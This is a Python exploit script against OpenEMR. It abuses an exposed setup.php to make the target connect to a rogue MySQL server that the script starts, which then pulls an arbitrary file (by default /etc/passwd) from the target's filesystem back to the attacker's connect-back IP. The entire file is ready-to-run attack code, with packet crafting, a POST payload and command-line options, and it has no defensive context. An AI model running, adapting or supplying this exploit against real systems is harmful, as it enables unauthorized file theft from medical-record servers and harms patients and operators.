exploit.py

import sys
import socket
import requests
import argparse
from threading import Thread
from colorama import Fore, Style



def check_vuln(target):

	r = requests.get(f"{target}setup.php", verify=False)
	if(r.status_code == 200):
		print(Fore.GREEN + "seems so!")
	else:
		print(Fore.RED + "nope!")
		exit()

def evil_server(port, file):

	#Greeting 
	protocol_version = 10
	server_version = "1-3-3-7_evil-mysqld"
	thread_id = 1337
	salt = "aaaaaaaa"
	caps = 0xf7fe
	lang = 0x2d
	status = 0x0002
	ext_caps = 0x81ff
	auth_len = 21
	unused = 0x00
	mariadb_caps = 0x0000001d
	salt_two = "aaaaaaaaaaaa"
	auth_plugin = "mysql_native_password"

	greeting = bytearray()
	greeting += protocol_version.to_bytes(1, byteorder='little')
	greeting += server_version.encode('utf-8') + b'\0'
	greeting += thread_id.to_bytes(4, byteorder='little')
	greeting += salt.encode('utf-8') + b'\0'
	greeting += caps.to_bytes(2, byteorder='little')
	greeting += lang.to_bytes(1, byteorder='little')
	greeting += status.to_bytes(2, byteorder='little')
	greeting += ext_caps.to_bytes(2, byteorder='little')
	greeting += auth_len.to_bytes(1, byteorder='little') 
	greeting += unused.to_bytes(6, byteorder='little')
	greeting += mariadb_caps.to_bytes(4, byteorder='little')
	greeting += salt_two.encode('utf-8') + b'\0'
	greeting += auth_plugin.encode('utf-8') + b'\0'


	handshake_packet = bytearray()
	packet_length = len(greeting)
	packet_number = 0
	handshake_packet += packet_length.to_bytes(3, byteorder='little')
	handshake_packet += packet_number.to_bytes(1, byteorder='little')
	handshake_packet += greeting

	ok_code = 0x00
	server_status = 0x0002
	warning = 0x00

	response = bytearray()
	response += ok_code.to_bytes(1, byteorder='little')
	response += b'\x00\x00'
	response += server_status.to_bytes(2, byteorder='little')
	response += warning.to_bytes(2, byteorder='little')

	ok_packet = bytearray()
	packet_length = len(response)
	packet_number = 2
	ok_packet += packet_length.to_bytes(3, byteorder='little')
	ok_packet += packet_number.to_bytes(1, byteorder='little')
	ok_packet += response

	server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	server_address = ('', port)
	server_socket.bind(server_address)
	server_socket.listen()

	print(Fore.GREEN + "done!")
	client_socket, client_address = server_socket.accept()
	print(Style.RESET_ALL + "Got connection from:" + Fore.GREEN, client_address[0])

	# Handshake
	client_socket.sendall(handshake_packet)

	# Login 
	data = client_socket.recv(1024)
	# username = data[36:data.find(b'\0',36)]
	# hashpass = data[36 + len(username) + 2: ]
	# print(username.decode("utf-8") )
	# print(hashpass[: 20].hex())

	# OK
	client_socket.sendall(ok_packet)
	data = client_socket.recv(1024)

	code = 0xfb
	tabular = bytearray()
	tabular += code.to_bytes(1, byteorder='little')
	tabular += file.encode('utf-8')

	packet_length = len(tabular)
	packet_number = 1

	payload = bytearray()
	payload += packet_length.to_bytes(3, byteorder='little')
	payload += packet_number.to_bytes(1, byteorder='little')
	payload += tabular

	client_socket.sendall(payload)

	print(Style.RESET_ALL + f"Dumping -" + Fore.GREEN, file)
	print(Style.RESET_ALL)
	data = client_socket.recv(1024)
	print(data[4:].decode('utf-8'))

	client_socket.close()


def exploit(target, site, ip, port):

	data = { 	"state": 7,
				"site": site,
				"server": ip,
				"port": port,
				"login": "secragon",
				"pass": "showmethefile",
				"dbname": "filesystem"
	}

	r = requests.post(f"{target}setup.php", data=data, verify=False)



print()
print(Fore.BLUE + "\t\t --- OpenEMR exploit ---")
print("\t\t  (arbitrary file read)")
print(Fore.RED + "\t\t\t\tby gbrsh@secragon")
print(Style.RESET_ALL)
print()
	

parser = argparse.ArgumentParser()
parser.add_argument('url', help='http://127.0.0.1/openemr/')
parser.add_argument('-i', '--ip', required=True, help="IP to connect back")
parser.add_argument('-f', '--file', required=False, default="/etc/passwd", help="file to dump (default: /etc/passwd)")
parser.add_argument('-p', '--port', required=False, default=3306, help="port to connect back (default: 3306)")
parser.add_argument('-s', '--site', required=False, default="default", help="site (default: default)")


if len(sys.argv) < 3:
    parser.print_help()
    print()
    exit()

args = parser.parse_args()

url = args.url
if (url[-1] != '/'): 
	url += '/'

print("Checking if vulnerable:", end=' ')
check_vuln(url)

print(Style.RESET_ALL + "Starting evil mysql server:", end=' ')
evil_mysqld = Thread(target=evil_server, args=(args.port, args.file))
evil_mysqld.start()

exploit(url, args.site, args.ip, args.port)

evil_mysqld.join()